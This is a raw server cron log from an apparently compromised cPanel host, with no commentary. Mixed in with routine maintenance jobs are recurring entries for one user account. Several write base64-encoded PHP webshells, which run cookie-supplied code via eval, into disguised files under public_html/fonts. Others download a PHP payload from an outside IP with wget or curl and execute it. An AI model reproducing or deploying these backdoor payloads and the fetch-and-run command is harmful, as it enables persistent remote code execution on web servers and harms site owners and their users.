Sep  2 12:13:01 ip-184-168-122-23 CROND[13623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:14:01 ip-184-168-122-23 CROND[13801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:14:01 ip-184-168-122-23 CROND[13802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:14:01 ip-184-168-122-23 CROND[13803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:14:01 ip-184-168-122-23 CROND[13805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:14:01 ip-184-168-122-23 CROND[13804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:15:01 ip-184-168-122-23 CROND[14043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14052]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 12:15:01 ip-184-168-122-23 CROND[14050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:16:01 ip-184-168-122-23 CROND[14291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:16:01 ip-184-168-122-23 CROND[14293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:16:01 ip-184-168-122-23 CROND[14294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:16:01 ip-184-168-122-23 CROND[14296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:16:01 ip-184-168-122-23 CROND[14295]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:16:01 ip-184-168-122-23 CROND[14297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:17:01 ip-184-168-122-23 CROND[14504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:17:01 ip-184-168-122-23 CROND[14505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:17:01 ip-184-168-122-23 CROND[14506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:17:01 ip-184-168-122-23 CROND[14507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:18:01 ip-184-168-122-23 CROND[14628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:18:01 ip-184-168-122-23 CROND[14629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:18:01 ip-184-168-122-23 CROND[14632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:18:01 ip-184-168-122-23 CROND[14634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:18:01 ip-184-168-122-23 CROND[14635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:19:01 ip-184-168-122-23 CROND[14853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:19:01 ip-184-168-122-23 CROND[14855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:19:01 ip-184-168-122-23 CROND[14857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:19:01 ip-184-168-122-23 CROND[14858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:20:02 ip-184-168-122-23 CROND[15058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:20:02 ip-184-168-122-23 CROND[15064]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:20:02 ip-184-168-122-23 CROND[15068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:21:02 ip-184-168-122-23 CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:21:02 ip-184-168-122-23 CROND[15376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:21:02 ip-184-168-122-23 CROND[15377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:21:02 ip-184-168-122-23 CROND[15378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:22:01 ip-184-168-122-23 CROND[15572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:22:01 ip-184-168-122-23 CROND[15576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:22:01 ip-184-168-122-23 CROND[15575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:22:01 ip-184-168-122-23 CROND[15573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:22:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:23:01 ip-184-168-122-23 CROND[15715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:23:01 ip-184-168-122-23 CROND[15716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:23:01 ip-184-168-122-23 CROND[15719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:23:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:24:01 ip-184-168-122-23 CROND[15922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:24:01 ip-184-168-122-23 CROND[15924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:24:01 ip-184-168-122-23 CROND[15925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:24:01 ip-184-168-122-23 CROND[15926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:24:01 ip-184-168-122-23 CROND[15927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:25:01 ip-184-168-122-23 CROND[16038]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
